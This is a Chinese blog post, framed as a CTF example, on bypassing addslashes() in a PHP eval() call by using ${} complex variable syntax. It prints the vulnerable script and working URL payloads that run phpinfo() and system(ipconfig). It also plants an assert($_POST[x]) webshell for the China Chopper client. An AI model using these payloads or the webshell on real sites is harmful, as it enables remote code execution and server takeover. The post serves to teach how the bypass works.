PHP复杂变量绕过addslashes()直接拿shell

V站笔记

0x00 示例ctf.php

<?php
    @$_str = $_GET['str'];
    //print_r($_str);
    $_temp = '$str="'.addslashes($_str).'";';
    @print_r($_temp);
    @eval('$str="'.addslashes($_str).'";');
?>

0x01 绕过执行代码

访问链接如下: http://www.test.com/ctf.php?str=${phpinfo()}


0x02 原理分析

涉及到php复杂变量相关的知识,找了网上的很多博客,居然相关资料很少…

  • eval()函数函数的作用如下: eval() 函数把字符串按照 PHP 代码来计算。 该字符串必须是合法的 PHP 代码,且必须以分号结尾。 如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
  • 双引号作用 之前的一篇文章《PHP中的单双引号区别》(https://blog.dyboy.cn/program/12.html) 有讲 在eval()函数内部作为php代码执行,这里就可以解析双引号中的变量
  • PHP复杂变量 {}不能被转义,其包裹的部分可当作变量 小东人工翻译一下就是${phpinfo()}和{${phpindo()}}是一样的,花括号{}只是用于区别变量边界的标识符

0x03 Getshell

那么有了eval()该如何执行任意代码呐? 简单尝试: http://www.test.com/ctf.php?str=${${system(ipconfig)}}

构造我们的小马,便于连接菜刀: http://www.test.com/ctf.php?str=${${assert($_GET[x])}}&x=phpinfo() 这里为了便于浏览,我改成了GET型参数,菜刀链接网址如下: http://www.test.com/ctf.php?str=${${assert($_POST[x])}} 密码:x 成功拿到shell


0x04 总结

成功学习了一波,同时可以出去吹水了,addslashes()在编码UTF-8时,也是可能绕过的~

原创声明,本文系作者授权云+社区发表,未经许可,不得转载。

如有侵权,请联系 yunjia_community@tencent.com 删除。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏同步博客

Smarty的基本使用与总结

含义:Smarty是PHP的一个引擎模板,可以更好的进行逻辑与显示的分离,即我们常说的MVC,这个引擎的作用就是将C分离出来。

683
来自专栏Jack-Cui

Linux应用层系统时间写入RTC时钟的方法

Linux内核版本:linux-3.0.35 开发板:i.MX6S MY-IMX6-EK200 系统:Ubuntu12 前言:之前写过一篇关于如...

1900
来自专栏逆向技术

32位汇编第四讲,干货分享,汇编注入的实现,以及快速定位调用API的数量(OD查看)

32位汇编第四讲,干货分享,汇编注入的实现,以及快速定位调用API的数量(OD查看) 昨天,大家可能都看了代码了,不知道昨天有没有在汇编代码的基础上,实现注入计...

1907
来自专栏数值分析与有限元编程

Fortran知识 | 代码错误(insufficient virtual memory)

如图所示,提示为:insufficient virtual memory ? 程序试图访问一个受保护或者不存在的地址。多数为可分配数组、指针等动态内存引发的错误...

3397
来自专栏技术博文

PHP编程风格规范

本规范由 EasyChen 借鉴 SINA网络应用开发部《C++开发规范》和互动技术部《PHP4开发规范》,以及phpDocument规范 整理出的开发规范。我...

2897
来自专栏逢魔安全实验室

铁人三项2018 pwn [heapmain] Writeup

这个题目的原题是RHME3,直接拿来二进制修改,去掉网络函数,使用socat部署。这波操作可还行

902
来自专栏GuZhenYin

using语法糖详解 2015-01-06 17:45 50人阅读 评论(0) 收藏

前段事件在using外套try catch 突然想到,如果出现异常 会不会执行释放,不执行的话那服务器很可能导致崩溃... 特意上了CSDN问了大神..得到了答...

1995
来自专栏贾老师の博客

【笔记】ejoy2d —— spritepack

792
来自专栏逆向技术

16位汇编第三讲 分段存储管理思想

      内存分段 一丶分段(汇编指令分段) 1.为什么分段?   因为分段是为了更好的管理数据和代码,就好比C语言为什么会有内存4区一样,否则汇编代码都写...

1816
来自专栏C语言及其他语言

C语言中的预处理

1、 宏定义 预处理命令可以改变程序设计环境,提高编程效率,它们并不是 C 语言本身的组成部分,不能直接对 它们进行编译,必须在对程序进行编译之前,先对程序中...

2676

扫码关注云+社区